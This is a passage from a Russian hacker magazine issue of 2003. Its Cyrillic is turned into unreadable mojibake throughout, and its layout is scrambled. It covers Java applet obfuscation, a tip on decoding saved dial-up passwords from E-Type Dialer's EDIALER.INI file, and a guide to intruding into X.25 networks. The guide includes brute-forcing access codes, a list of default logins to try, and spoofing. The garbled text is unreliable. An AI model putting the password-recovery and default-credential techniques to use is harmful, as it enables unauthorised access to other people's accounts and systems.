- ìåòîäû êëîíèðóþòñÿ, à â ïîëó÷åííûå êëîíû îäíîãî<br />

è òîãî æå ìåòîäà âíîñÿòñÿ ðàçëè÷íûå çàïóòûâàþùèå<br />

èçìåíåíèÿ;<br />

- ïåðåìåííûå ðàçäåëÿþòñÿ íà äâå è áîëåå ñàìîñòîÿòåëüíûå<br />

ïåðåìåííûå;<br />

- è ò.ï.<br />

íà Zelix KlassMaster 4.0 (http://www.zelix.com/cgibin/download.pl).<br />

Ïîìèìî ñèìïàòè÷íîãî è óäîáíîãî<br />

èíòåðôåéñà â ýòîé ïðîãðàììå ðåàëèçîâàíû<br />

âñå òðè ðàññìîòðåííûå çàùèòû. Êðîìå òîãî, åñòü<br />

íåçàìåíèìûé ïîøàãîâûé ïîìîùíèê è ïîäðîáíàÿ<br />

äîêóìåíòàöèÿ (íà àíãëèéñêîì). Î÷åíü óäîáíî, ÷òî<br />

èñõîäíûé è ïîëó÷åííûé êîä ìîæíî ïðîñìàòðèâàòü<br />

íåïîñðåäñòâåííî â Zelix KlassMaster. Îäíà<br />

áåäà - ïðîåêò êîììåð÷åñêèé è ñêà÷àòü òû ìîæåøü<br />

òîëüêî äåìî-âåðñèþ, â êîòîðîé åñòü íåêîòîðûå<br />

îãðàíè÷åíèÿ: îáðàáîòàòü îäíîâðåìåííî ìîæíî íå<br />

áîëåå 5 êëàññîâ, à èçìåíåíèå ïîòîêà óïðàâëåíèÿ<br />

äåëàåòñÿ íå áîëåå ÷åì äëÿ äâóõ ìåòîäîâ â êàæäîì<br />

êëàññå. Íî èãðà ñòîèò ñâå÷. Íåñìîòðÿ íà îãðàíè÷åíèÿ,<br />

âîçìîæíîñòåé òåáå õâàòèò ñ ëèõâîé. À<br />

â êà÷åñòâå äåêîìïèëÿòîðà ÿ èñïîëüçîâàë NMI's<br />

Java Code Viewer v5.0, ïîäðîáíî îïèñàííûé â ñòàòüå<br />

"Âçëîì àïïëåòîâ".<br />

ÑÒÀÂÈÌ ÇÀÙÈÒÓ<br />

Çàïóñêàåòñÿ KlassMaster ñ ïîìîùüþ êîìàíäû java -<br />

Xmx256m -jar ZKM.jar. Äàëåå ñîãëàñíî<br />

ïîäñêàçêàì ïîøàãîâîãî ïîìîùíèêà. Îáùàÿ<br />

ïîñëåäîâàòåëüíîñòü äåéñòâèé òàêîâà:<br />

ÍÅÊÎÒÎÐÛÅ ÒÐÀÁËÛ<br />

Âðîäå áû âñå î÷åâèäíî - âûáèðàåøü ñàìûé íàâîðî÷åííûé<br />

îáôóñêàòîð, âûñòàâëÿåøü âñå íàñòðîéêè<br />

íà ìàêñèìóì è îáðàáàòûâàåøü ñâîé àïïëåò. Â<br />

ðåàëüíîñòè æå íå âñå òàê ãëàäêî, êàê â òåîðèè.<br />

×åì ñëîæíåå àëãîðèòì çàùèòû, òåì áîëüøå âåðîÿòíîñòü<br />

òîãî, ÷òî íà âûõîäå ïîëó÷èòñÿ íåðàáîòîñïîñîáíûé<br />

àïïëåò. Ñòðàäàþò ýòèì â ïåðâóþ î÷åðåäü<br />

ìíîãèå áåñïëàòíûå îáôóñêàòîðû, òàê êàê èõ<br />

òîëêîì íèêòî íå òåñòèðóåò. Ïîýòîìó íå çàáûâàé<br />

âñåãäà äåëàòü ïðîâåðî÷íûé çàïóñê àïïëåòà.<br />

 ÄÅÉÑÒÂÈÈ<br />

Õâàòèò áîëòîâíè, ïîêàçûâàþ íà ðåàëüíîì ïðèìåðå.<br />

 êà÷åñòâå ïîäîïûòíîé êðûñû áåðåì ïðîèçâîëüíûé<br />

àïïëåò èç èíåòà -<br />

http://javaboutique.internet.com/Fade. Îí ïîêàçûâàåò<br />

â öèêëå òàþùèå íàäïèñè, êëèêíóâ ïî êîòîðûì,<br />

ìîæíî ïåðåéòè ïî ñîîòâåòñòâóþùèì ññûëêàì.<br />

Ñàì èñõîäíèê çäåñü íå ïðèâîæó, òàê êàê îí âåñèò<br />

îêîëî 9 êèëî, óòàñêèâàé åãî ñ<br />

http://javaboutique.internet.com/Fade/Fade.java.<br />

Ïðè áåãëîì èçó÷åíèè âèäíî, ÷òî îí ñîäåðæèò äâà<br />

êëàññà (Thoughts è Fade), êó÷ó ìåòîäîâ, ìàññèâû,<br />

öèêëû, óñëîâíûå ïåðåõîäû è ò.ä. Îäíèì ñëîâîì,<br />

ïîëíûé íàáîð äëÿ ýêñïåðèìåíòà.<br />

ÎÁÔÓÑÊÀÒÎÐ È ÄÅÊÎÌÏÈËßÒÎÐ<br />

Ïîìó÷èâ íåñêîëüêî îáôóñêàòîðîâ, ÿ îñòàíîâèëñÿ<br />

ÃÄÅ ÑÊÀ×ÀÒÜ ÎÁÔÓÑÊÀÒÎÐÛ<br />

 èíåòå ìîæíî íàéòè îêîëî äâóõ äåñÿòêîâ îáôóñêàòîðîâ, íî äàëåêî<br />

íå âñå îíè áåñïëàòíûå. Íèæå ïðèâîæó àäðåñà ðàçëè÷íûõ îáôóñêàòîðîâ:<br />

êàê áåñïëàòíûõ, òàê è êîììåð÷åñêèõ. Ïîïîëçàé ïî<br />

âñåì, òàê êàê íåêîòîðûå êîììåð÷åñêèå ïðîåêòû ÷àñòåíüêî âûêëàäûâàþò<br />

íà ñâîèõ ñàéòàõ äåìîíñòðàøêè (òðèàëêè) èëè áåòà-âåðñèè,<br />

êîòîðûå ïîëíîñòüþ ïðîôïðèãîäíû.<br />

Zelix KlassMaster -<br />

http://www.zelix.com/klassmaster/download1.html<br />

JavaGuard - http://sourceforge.net/projects/javaguard<br />

ProGuard - http://proguard.sourceforge.net<br />

RetroGuard - http://www.retrologic.com/retroguarddownload.html<br />

JCloak - http://www.force5.com/download.html<br />

DashO - http://www.preemptive.com/tools<br />

JProof 1stBarrier - http://www.jproof.com/products.html<br />

JZipper - http://www.vegatech.net/jzipper<br />

Cloakware - http://www.cloakware.com<br />

È äëÿ êîìïëåêòíîñòè íåñêîëüêî ññûëîê íà õîðîøèå äåêîìïèëÿòîðû:<br />

DCompiler - http://sourceforge.net/projects/dcompiler<br />

JAD - http://kpdus.tripod.com/jad.html<br />

NMI's Java Code Viewer - http://www.javacodeviewer.tk<br />

Mocha - http://www.brouhaha.com/~eric/computers/mocha.html<br />

SourceTech - http://www.srctec.com<br />

SourceAgain - http://www.ahpah.com<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 67


Âçëîì<br />

ÇÀÙÈÒÀ JAVA-ÀÏÏËÅÒÎÂ<br />

Àíäðåé Êàðîëèê (andrusha@sl.ru)<br />

- îòêðûâàåòñÿ íåçàùèùåííûé áàéò-êîä (File -><br />

Open)<br />

- èç êîäà âûìåòàåòñÿ ëèøíèé ìóñîð (Tools -><br />

Trim)<br />

- äåëàåòñÿ îáôóñêàöèÿ ñ âûáðàííûìè ïàðàìåòðàìè<br />

(Tools -> Obfuscate)<br />

- ðåçóëüòàò ñîõðàíÿåòñÿ (File -> Save all)<br />

Âûñòàâëÿé îáà ïàðàìåòðà îáôóñêàöèè â aggressive,<br />

è ïîåõàëè.<br />

 ðåçóëüòàòå ïîëó÷èëîñü äâà êëàññà: a.class è<br />

b.class (âìåñòî Fade.class è Thoughts.class). Äî<br />

îáôóñêàöèè èõ ðàçìåð áûë 4,9 Êá è 4,1 Êá, òåïåðü<br />

îíè âåñÿò 3,6 Êá è 3,0 Êá ñîîòâåòñòâåííî.<br />

Îïòèìèçàöèÿ íàëèöî. Îñòàëîñü ïîñìîòðåòü, ÷òî<br />

KlassMaster íàòâîðèë âíóòðè. Äëÿ ýòîãî çàïóñêàé<br />

NMI's Java Code Viewer, îòêðûâàé ïîëó÷åííûå<br />

êëàññû è ÷åðåç ìåíþ âûáåðè Process -><br />

Decompile. ×òîáû áûëî ñ ÷åì ñðàâíèâàòü, àíàëîãè÷íî<br />

äåêîìïèëèðóé è èñõîäíûå êëàññû<br />

(Fade.class è Thoughts.class).<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

private static String b(String s) {<br />

char ac[];<br />

int i;<br />

int j;<br />

ac = s.toCharArray();<br />

i = ac.length;<br />

j = 0;<br />

if(i > 1) goto _L2; else goto _L1<br />

_L1:<br />

ac;<br />

j;<br />

_L10:<br />

JVM INSTR dup2 ;<br />

JVM INSTR caload ;<br />

j % 5;<br />

JVM INSTR tableswitch 0 3:<br />

default 72<br />

// 0 52<br />

// 1 57<br />

// 2 62<br />

// 3 67;<br />

goto _L3 _L4 _L5 _L6 _L7<br />

_L4:<br />

0x36;<br />

goto _L8<br />

_L5:<br />

86;<br />

_L6:<br />

_L7:<br />

_L3:<br />

_L8:<br />

_L9:<br />

ÏÎÑËÅ ÄÅÊÎÌÏÈËßÖÈÈ<br />

Ðàçíèöà ìåæäó òåì, ÷òî áûëî, è òåì, ÷òî ñòàëî,<br />

âèäíà íåâîîðóæåííûì ãëàçîì. Âñå èìåíà êëàññîâ,<br />

ìåòîäîâ è ïåðåìåííûõ çàìåíåíû îäíîáóêâåííûìè<br />

ñèìâîëàìè. Ëèòåðàëû è ñòðîêîâûå ïåðåìåííûå<br />

çàøèôðîâàíû. Ïîÿâèëîñü ìíîæåñòâî<br />

ëåâûõ ìåòîê è íå ìåíåå ëåâûõ ïåðåõîäîâ íà íèõ.<br />

Åñëè îïèñûâàòü â äâóõ ñëîâàõ, òî ïîëó÷èëàñü íàñòîÿùàÿ<br />

êàøà. È ñàìîå ãëàâíîå - ïðè çàïóñêå<br />

àïïëåò ðàáîòàåò áåç ñáîåâ.<br />

Ïðèâîæó íàèáîëåå èíòåðåñíóþ ÷àñòü ïîëó÷åííîãî<br />

êîäà a.class ïîñëå äåêîìïèëÿöèè Fade.class:<br />

(Òàáëèöà 1)<br />

goto _L8<br />

99;<br />

goto _L8<br />

109;<br />

goto _L8<br />

55;<br />

Òàáëèöà 1<br />

JVM INSTR ixor ;<br />

(char);<br />

JVM INSTR castore ;<br />

j++;<br />

if(i != 0) goto _L2; else goto _L9<br />

ac;<br />

i;<br />

goto _L10<br />

_L2:<br />

if(j >= i)<br />

return new String(ac);<br />

if(true) goto _L1; else goto _L11<br />

_L11:<br />

}<br />

}<br />

ÍÀÏÎÑËÅÄÎÊ<br />

Ïî÷åìó æå âñå ïîãîëîâíî íå ñòàâÿò çàùèòó íà<br />

àïïëåòû Îòâåò áàíàëüíûé - áîëüøèíñòâî ïðîñòî<br />

íå çíàþò î ïîäîáíîé âîçìîæíîñòè. À ó íåêîòîðûõ<br />

íåò íåîáõîäèìîñòè â çàùèòå. Ðàçäàâàòü èñõîäíèêè<br />

îò ñâîèõ òâîðåíèé èëè äåðæàòü çà ñåìüþ çàìêàìè<br />

- äåëî ñóãóáî ëè÷íîå. Íî, ñ äðóãîé ñòîðîíû,<br />

ñëàâà áîãó, ÷òî íå êàæäûé ñòàâèò çàùèòó íà ñâîè<br />

àïïëåòû, èíà÷å íåãäå áûëî áû òûðèòü ÷óæèå èäåè<br />

:). Íà ýòîì âñå, óñïåøíîé òåáå çàùèòû<br />

â ãåíèàëüíûõ java-òâîðåíèÿõ :).<br />

Tips&Tricks<br />

 E-Type Dialer`å åñòü äûðà (à ãäå èõ íåò!). Åñëè<br />

ó ÷åëà ñòîèò ÷åêáîêñ íàïðîòèâ "Çàïîìíèòü ïàðîëü",<br />

òî åñòü ðåàëüíûé øàíñ áåç âñÿêèõ<br />

OpenPass`îâ ñíûêàòü ïàññ! Âñå íàñòðîéêè æèâóò<br />

â ôàéëå EDIALER.INI, ëåæàùåì â äèðå ñ âèíäàìè.<br />

Òàì âìåñòå ñ òåëåôîíàìè, çàïóñêàåìûìè<br />

ïðè ñîåäèíåíèè ïðîãàìè, íàñòðîéêàìè äëÿ êàæäîãî<br />

ñîåäèíåíèÿ ëåæàò ñîõðàíåííûå ïàðîëè.<br />

PasswordSaved=1357 LoginSaved=Mazafaka Ëîãèí<br />

íå çàøèôðîâàí, à âîò ïàðîëü çàøèôðîâàí.<br />

Øèôðîâàíèå ïðîñòî äî îðãàçìà! Ïåðâûé ñèìâîë<br />

îñòàåòñÿ, âòîðîé óâåëè÷èâàåòñÿ íà 1, òðåòèé<br />

- íà 2, è ò.ä. Çíà÷èò 1357 ýòî 1234, à xakep áóäåò<br />

xbmht. Êàê ïîëó÷èòü EDIALER.INI, äîäóìàåøüñÿ<br />

ñàì!<br />

ÇÛ. Åñëè â ÷åì íå ïðàâ, íå ñóäèòå ñòðîãî!<br />

Ñïèðèäîíîâ Ñòàñ aka V4nD4LL<br />

v4nd4ll@mail.ru<br />

Õî÷åøü óâèäåòü ñâîè ñîâåòû â æóðíàëå Ïðèñûëàé èõ íà<br />

àäðåñ Sklyarov@real.xakep.ru. Âåäóùèé ðóáðèêè<br />

Tips&Tricks Èâàí Ñêëÿðîâ.<br />

1 2 3 4<br />

68 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


ÏÀÐÀËËÅËÜÍÛÉ ÌÈÐ<br />

kas1e<br />

Âçëîì<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÏÀÐÀËËÅËÜÍÛÉ<br />

ÌÈÐ<br />

ÂÇËÎÌ ÑÅÒÅÉ<br />

X25<br />

Ñåãîäíÿ ïðàêòè÷åñêè íèêòî íå çíàåò, ÷òî òàêîå x25-ñåòè è íàñêîëüêî îíè ãëîáàëüíû, ïîýòîìó ÿ âêðàòöå ðàññêàæó èñòîðèþ èõ ïîÿâëåíèÿ.<br />

 1973 ãîäó ïîÿâèëàñü êîìïàíèÿ Telenet - ïåðâûé âëàäåëåö ñåòè îáùåãî ïîëüçîâàíèÿ ñ êîììóòàöèåé ïàêåòîâ. Telenet è ÿâëÿåòñÿ<br />

"íàñòîÿùèì" îòöîì x.25-ñåòåé. ×òî êàñàåòñÿ áûâøåãî ÑÑÑÐ, òî òàì êàêîé-ëèáî çàìåòíîé àêòèâíîñòè íå íàáëþäàëîñü äî 1986 ãîäà,<br />

èìåííî òîãäà íà÷àëàñü ýêñïëóàòàöèÿ âåäîìñòâåííûõ ñåòåé ýòîãî êëàññà (ÀÈÑÒ, ÀÑÏÄ, ÈÀÑÍÅÒ). Çàòåì íà÷àëîñü áóðíîå ðàçâèòèå ñòàðûõ<br />

è ïîÿâëåíèå íîâûõ x25-ñåòåé, êîòîðîå, â îáùåì, íå ïðåêðàùàåòñÿ è ñåé÷àñ, íî â áîëåå ñïåöèàëèçèðîâàííîì íàïðàâëåíèè, ÷åì<br />

èíòåðíåò.  êà÷åñòâå ïðèìåðà ìû ðàññìîòðèì sprintnet, êîòîðàÿ è ÿâëÿåòñÿ òîé ñàìîé telenet, íî áîëåå ðàçâèòîé è ïîëó÷èâøåéñÿ ïðè<br />

ñëèÿíèè ñëóæá òåëåôîííîé ñâÿçè è ïåðåäà÷è äàííûõ êîìïàíèè GTE (GTE Sprint è GTE Telenet) ñ US Telecom - àíàëîãè÷íûìè ñëóæáàìè<br />

áîëüøîé êîìïàíèè "United Telecommunications Inc" (UTI). Âõîäû â ýòó ñåòü (sprintnet) ïðåäîñòàâëåíû â êàæäîì çàõóäàëîì ãîðîäêå, è òåëåôîíû<br />

ìîäåìíûõ ïóëîâ ìîæíî íàéòè â ëþáîé ïîèñêîâîé ìàøèíå èëè íà îôèöèàëüíûõ ñàéòàõ ïðåäñòàâèòåëüñòâà íåîáõîäèìîé ñåòè.<br />

ÎÐÃÀÍÈÇÀÖÈß<br />

Èòàê, íàñ âîëíóåò òî, êàêèì îáðàçîì îáîçíà÷àþòñÿ/ïðåäîñòàâëÿþòñÿ<br />

àäðåñà (õîñòû), êàê ïðîèñõîäèò<br />

àóòåíòèôèêàöèÿ è íåêîòîðûå äðóãèå íþàíñû.<br />

Àäðåñà â x25-ñåòÿõ íàçûâàþòñÿ NUA (Network<br />

Users Address). Ôîðìèðóþòñÿ îíè èç íåñêîëüêèõ<br />

ñîñòàâëÿþùèõ:<br />

1. Ïðèçíàê îïðåäåëåíèÿ àäðåñà (ïîëíûé âèä, åñëè<br />

ñóùåñòâóåò, âíóòðåííèé, åñëè íå çàäàíî).<br />

2. DNIC (Data Network Identification Code) - ÷åòûðåõçíà÷íûé<br />

êîä ñåòè.<br />

1: Êîä "ìàòåðèêà":<br />

1 - Îêåàíèÿ<br />

2 - Åâðîïà<br />

3 - Àìåðèêà<br />

4 - Àçèÿ<br />

5 - Àâñòðàëèÿ<br />

6 - Àôðèêà<br />

7 - Þæíàÿ Àìåðèêà<br />

2-3: Êîä ñòðàíû (2 öèôðû). Íàïðèìåð, 50 - Ðîññèÿ.<br />

4: Êîä íàöèîíàëüíîé ñåòè, êàê ïðèìåð äëÿ 250x:<br />

0 - ROSPAC<br />

1 - SPRINT<br />

2 - IASNET<br />

3 - MMTLnet<br />

4 - INFOTEL<br />

6 - ROSNET<br />

7 - ISTOK-K<br />

8 - TRANSINFORM<br />

3. Íåïîñðåäñòâåííî âíóòðèñåòåâîé àäðåñ (äî 10<br />

öèôð).<br />

È âîò òåïåðü ñàìîå âðåìÿ ïîãîâîðèòü îá àóòåíòèôèêàöèè.<br />

Âõîä â sprintnet êàê òàêîâîé, â ïðèíöèïå,<br />

îòñóòñòâóåò. Ò.å. òû ìîæåøü ïðîñòî ïîçâîíèòü íà<br />

ïóë è óæå ñìîæåøü ïðîèçâîäèòü ìàñøòàáíûå ñêàíû.<br />

Îäíàêî áîëüøèíñòâî õîñòîâ íå ãîðÿò æåëàíèåì<br />

ïëàòèòü çà òâîå ñîåäèíåíèå ñ íèìè, î ÷åì òåáå<br />

ñ ðàäîñòüþ è ñîîáùàò :). ×òîáû èìåòü ïîëíîöåííûé<br />

äîñòóï êî âñåì ðåñóðñàì, íóæåí íåêèé NUI<br />

(Network User Identificator), ïðîùå ãîâîðÿ - êîä äîñòóïà<br />

è ïàðîëü. NUI ñòîèò ïîðÿäêà $30 + $16 çà<br />

÷àñ ïîëüçîâàíèÿ ñåòüþ. Ò.å. ó òåáÿ 2 âàðèàíòà -<br />

ëèáî ïîëüçóåøüñÿ áåñïëàòíî è èùåøü õîðîøèå<br />

õîñòû, ëèáî ïîëüçóåøüñÿ NUI (ââîäÿ ID ïðè ïîäêëþ÷åíèè).<br />

Ôîðìàò NUI ïðîñòîé - ýòî àëôàâèòíûå<br />

è áóêâåííûå çíà÷åíèÿ äëèíîé îò 4 ñèìâîëîâ. Äëÿ<br />

ââîäà NUI åñòü 2 ïóòè. Ïåðâûé - ââîäèòü åãî ïðè<br />

ïîäêëþ÷åíèè ê ïàäó (î ïàäå ÷óòü íèæå):<br />

<br />

@ ID=xxxxx<br />

PASS=xxxxx<br />

Âòîðîé - íåïîñðåäñòâåííî ïðè ïîäêëþ÷åíèè ê<br />

NUA:<br />

<br />

@ ,,<br />

Íà ýòèõ äâóõ ñïîñîáàõ õàêåðû îñíîâûâàþò ñâîè<br />

ïåðåáîðû. Íî ïðåæäå ÷åì ïåðåéòè ê áîëåå óãëóáëåííîìó<br />

èçó÷åíèþ èõ çëîäåÿíèé, íåîáõîäèìî ðàññìîòðåòü<br />

åùå îäíó íå ìåíåå âàæíóþ äåòàëü -<br />

ÏÀÄ. ÏÀÄ - ýòî íåêàÿ ïðîãðàììà-ñåðâåð (åñëè òàê<br />

ìîæíî ñêàçàòü), êîòîðàÿ óñòàíîâëåíà íà ìîäåìíîì<br />

ïóëå x25-ñåòè (â ÷àñòíîñòè, ó íàñ ýòî ìîäåìíûé<br />

ïóë ñïðèíòà). Èìåííî ñ ýòîé ïðîãðàììîé ìû âåäåì<br />

áåñåäó ïðè ïîäêëþ÷åíèè. Îíà ïîçâîëÿåò èçìåíÿòü<br />

íàñòðîéêè íàøèõ ïðîôèëåé â ñåòè, è êàê<br />

1 2 3 4<br />

70 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Ïðèìåð óñòàíîâêè ïðîôèëÿ<br />

ðàç ó íåå åñòü íåêîòîðûå ãëþêè. Èìè âçëîìùèêè<br />

è ïîëüçóþòñÿ â ñâîèõ íåõîðîøèõ öåëÿõ. Áîëåå èëè<br />

ìåíåå âàæíûå êîìàíäû ïàäà ïðåäñòàâëåíû íèæå:<br />

prof - âûáîð ïðîôèëÿ. Äàííàÿ êîìàíäà äàåò âîçìîæíîñòü<br />

âûáèðàòü ïðîôèëè (óñòàíîâêè). Åñòü è<br />

ñòàíäàðòíûå, è ñâîè. Âîò ïðèìåð óñòàíîâêè 10-<br />

ãî ïðîôèëÿ:<br />

<br />

@prof 10<br />

set - èçìåíåíèå ïàðàìåòðîâ óñòàíîâëåííîãî ïðîôèëÿ<br />

(âñåãî 22 ïàðàìåòðà). Íàïðèìåð, ñòàâèì<br />

10-ûé ïðîôèëü è ìåíÿåì 10-ûé ïàðàìåòð.<br />

<br />

@prof 10<br />

@set 10:80<br />

Åñëè ââîäÿò ñðàçó íåñêîëüêî ïàðàìåòðîâ ñ êàêèìè-íèáóäü<br />

çíà÷åíèÿìè, òî èõ íåîáõîäèìî ðàçäåëÿòü<br />

çàïÿòûìè.<br />

par - ïðîñìîòð íóæíûõ ïàðàìåòðîâ ïðîôèëÿ.<br />

Êàê ïðèìåð, ïîñìîòðèì íàñòðîéêè ó 12-ãî ïðîôèëÿ,<br />

10-ãî ïàðàìåòðà.<br />

<br />

@prof 12<br />

@par 10<br />

PAR 10:80<br />

Åñëè õî÷åøü ïîñìîòðåòü âñå ïàðàìåòðû ñðàçó, òî<br />

ïðîñòî ââåäè par áåç çíà÷åíèé.<br />

stat - ïîçâîëÿåò óçíàòü ñîñòîÿíèå ÏÀÄ ïðîãðàììû<br />

(ñâîáîäåí, çàíÿò è ò.ä.).<br />

Åùå ñóùåñòâóåò set (ïî÷òè òî æå ñàìîå, ÷òî è<br />

set) è select (äîâîëüíî èíòåðåñíàÿ êîìàíäà, íî<br />

ìû åå çäåñü ðàññìàòðèâàòü íå áóäåì).<br />

Èòàê, ïîäâåäåì èòîã: åñòü x25-ñåòè. Âñå îíè ñîåäèíåíû<br />

ðàçëè÷íûìè ñïîñîáàìè è èìåþò â ðàçíûõ òî÷êàõ<br />

ìèðà ðàçíûå âõîäû (ìû ðàññìàòðèâàåì sprintnet<br />

êàê ñàìóþ äîñòóïíóþ â áûâøåì ÑÑÑÐ). Íà ýòèõ âõîäàõ<br />

óñòàíîâëåíî ñïåöèôè÷íîå äëÿ x25 æåëåçî/ìîäåìû<br />

è ïðîãðàììû, íàçûâàþùèåñÿ ÏÀÄ. Îíè è ïîçâîëÿþò<br />

ðàáîòàòü ñ ýòèì æåëåçîì (ñëåäîâàòåëüíî, ñ<br />

x25-ñåòüþ). Ìîæíî ïîäáèðàòü nui äëÿ áîëåå øèðîêîãî<br />

ïîëüçîâàíèÿ x25-ñåòüþ, à ìîæíî ïîëüçîâàòüñÿ<br />

ïðîñòî òàê. Ìîæíî áàëîâàòüñÿ ñ íàñòðîéêàìè ïàäà è<br />

äîáèòüñÿ ÷åãî-íèáóäü èíòåðåñíîãî. À ìîæíî ïðîñòî<br />

ñêàíèðîâàòü õîñòû â ïîèñêàõ ðàçëè÷íûõ ñèñòåì.<br />

Áîëåå äåòàëüíóþ èíôîðìàöèþ ÷èòàé â ðàçëè÷íûõ<br />

äîêóìåíòàöèÿõ, æóðíàëàõ è ò.ä. Ìû æå ðàññìîòðèì<br />

óñòðîéñòâî x25-ïðîòîêîëà íà íèæíåì óðîâíå.<br />

X25-ÏÐÎÒÎÊÎË<br />

Âî-ïåðâûõ, ñðàçó õî÷ó îòìåòèòü, ÷òî ìèð íå îãðàíè÷åí<br />

ëèøü rfc äîêóìåíòàìè. Ñóùåñòâóåò ìíîãî<br />

äðóãèõ èíòåðåñíûõ ñåðèé, íàïðèìåð, CCITT ñåðèÿ.<br />

Èòàê, êàêèå äîêóìåíòû íàì íåîáõîäèìû:<br />

x.3/x.28/x.29 - äîêóìåíòû, îïèñûâàþùèå ñòðóêòóðó<br />

è ðàáîòó PAD.<br />

x.25 - îïèñàíèå x.25-ïðîòîêîëà.<br />

x.121 - îïèñàíèå ñåòåâîé àäðåñàöèè.<br />

x.xxx ñåðèé äîâîëüíî ìíîãî, è åñëè õî÷åøü âñå<br />

ýòî ïîíÿòü, òùàòåëüíî èõ ïðîøòóäèðóé. x25-ñåòè<br />

áàçèðóþòñÿ íà òðåõ ïåðâûõ óðîâíÿõ ìîäåëè OSI:<br />

1 óðîâåíü - ôèçè÷åñêèé (æåëåçî, ñèãíàëû, ýëåêòðîíèêà,<br />

êàáåëè, ðàçúåìû).<br />

2 óðîâåíü - êàíàëüíûé (óðîâåíü ïåðåäà÷è äàííûõ).<br />

Çäåñü ââîäèòñÿ ïîíÿòèå êàäðà (frame), ò.å.<br />

ýòî êóñêè èíôîðìàöèè (áèò, îíè æå ýëåêòðè÷åñêèå<br />

ñèãíàëû). Â êàäðå ñîäåðæèòñÿ ïàêåò èç ñåòåâîãî<br />

óðîâíÿ (ñì. íèæå).<br />

3 óðîâåíü - ñåòåâîé. Íà ýòîì óðîâíå ââîäèòñÿ ïîíÿòèå<br />

x25-ïàêåòà (êîòîðûé ÿâëÿåòñÿ ÷àñòüþ x25-<br />

êàäðà). Ýòîò óðîâåíü òàêæå îòâå÷àåò çà ìàðøðóòèçàöèþ<br />

ïàêåòîâ.<br />

Èòàê, êàê âûãëÿäèò ïàêåò:<br />

ñìåùåíèå<br />

(â áèòàõ) îïèñàíèå<br />

4 Îñíîâíîé èäåíòèôèêàòîð ôîðìàòà ïàêåòà<br />

(call set-up packets, clearing packets,<br />

flow control, data packets è ò.ä.).<br />

4 Ëîãè÷åñêèé íîìåð ãðóïïû êàíàëà.<br />

8 Ëîãè÷åñêèé íîìåð êàíàëà.<br />

8 Èäåíòèôèêàòîð òèïà ïàêåòà. Äîâîëüíî<br />

ìàñøòàáíûé èäåíòèôèêàòîð, âêëþ-<br />

÷àþùèé, íàïðèìåð, äëÿ "îò DCE äî<br />

DTE" òàêèå òèïû: Incoming call, Call<br />

connected, Clear indication è ò.ä.<br />

Ýòè 3 áàéòà äîëæíû ïðèñóòñòâîâàòü â ëþáîì ñëó÷àå.<br />

Äàëåå âñå çàâèñèò îò êîíêðåòíîãî òèïà ïàêåòà. Íàïðèìåð,<br />

äëÿ call request è incoming call äàëåå èäóò:<br />

a. Áëîê Àäðåñà.<br />

b. Äëèíà Facility.<br />

c. Ñàìè Facilities.<br />

d. 'call' äàííûå.<br />

×òîáû íàéòè îïèñàíèå êàæäîãî òèïà ïàêåòà, êàæäîãî<br />

ïîëÿ, è âîîáùå ïîëíóþ ñòðóêòóðó, ñòîèò îêóíóòüñÿ<br />

â äîâîëüíî îáúåìíóþ x.25 CCITT ðåêîìåíäàöèþ<br />

(ññûëêà âíèçó).<br />

5 6 7 8<br />

Þíèêñîèä X-Ñòèëü Êîäèíã


Âçëîì<br />

ÏÀÐÀËËÅËÜÍÛÉ ÌÈÐ<br />

kas1e<br />

Ññûëêè<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

http://x25.net.ru/x25.ps.gz - ñïåöèôèêàöèÿ x25-<br />

ïðîòîêîëà.<br />

http://x25.net.ru/x3-x28.rar - ÏÀÄ<br />

Russian Undeground Club ezines<br />

[ ... âûðåçàíî èç ëîãà ... ]<br />

Òàáëèöà 1<br />

Ëîãè ðàáîòû<br />

ÑÏÎÑÎÁÛ ÂÇËÎÌÀ<br />

×òî ó íàñ èìååòñÿ íà ýòó òåìó 2 ñïîñîáà è èõ<br />

êîìáèíèðîâàíèå. ß èõ ìîãó ðàçäåëèòü íà "ñòàðûé"<br />

è "íîâûé", íî ìîæíî íàçâàòü ýòî êàê óãîäíî<br />

:). ×òî ìû îòíåñåì ê ñòàðîìó ñïîñîáó Ýòî ñêàíèðîâàíèå,<br />

ïîäáîð àêêàóíòîâ, îøèáêè "íà äóðàêà",<br />

îøèáêè êîíôèãóðàöèè (÷åëîâå÷åñêèé ôàêòîð) è<br />

ñîöèàëüíàÿ èíæåíåðèÿ. Êàê ïðèìåð ðàññìîòðèì<br />

òàêóþ ñòðóêòóðó:<br />

1. Ñêàíèðóåì â ïîèñêàõ äîñòóïíûõ áåç-nui'åâûõ<br />

õîñòîâ.<br />

2. Ñêàíèðóåì êàæäûé íàéäåííûé õîñò íà ðàñïðîñòðàíåííûå<br />

ëîãèíû/ïàðîëè (÷òî äî ñèõ ïîð, êàê<br />

ýòî íè ñòðàííî, ðàáîòàåò). Âñå òîò æå íåáîëüøîé<br />

ñïèñî÷åê êîìáèíàöèé:<br />

guest/<br />

guest/<br />

anonymous/<br />

anonymouse/<br />

visitor/<br />

new/<br />

admin/<br />

system/<br />

temp/<br />

test/<br />

Õîñòû áûâàþò ñàìûìè ðàçíîîáðàçíûìè. Îò unixáîêñîâ/ppp-ñåññèé,<br />

äî rex/dionis-ñèñòåì. Ó êàæäîé<br />

èç íèõ åñòü ñâîè ãëþêè, êîòîðûå õàêåðû èñïîëüçóþò<br />

â ñâîèõ öåëÿõ. Â ðàìêàõ îäíîé ñòàòè âñå ýòè<br />

îøèáêè ìû, åñòåñòâåííî, ðàññìîòðåòü íå ñìîæåì.<br />

Âòîðîé ñïîñîá (òàê ñêàçàòü, "íîâûé") - ïîèñê óÿçâèìîñòåé<br />

ïðîòîêîëà, âîçìîæíîñòè ñíèôèíãà, ñïóôèíãà<br />

è ðàçëè÷íûå íîâîìîäíûå ïðèåìû. Îäèí èç<br />

íèõ çàêëþ÷àåòñÿ â òîì, ÷òî â ïàêåòå íà çàïðîñ ñîåäèíåíèÿ<br />

ìîæíî âîîáùå íå ïèñàòü îáðàòíûé àäðåñ<br />

(ñîåäèíåíèå óñòàíàâëèâàåòñÿ íå ïî àäðåñàì â<br />

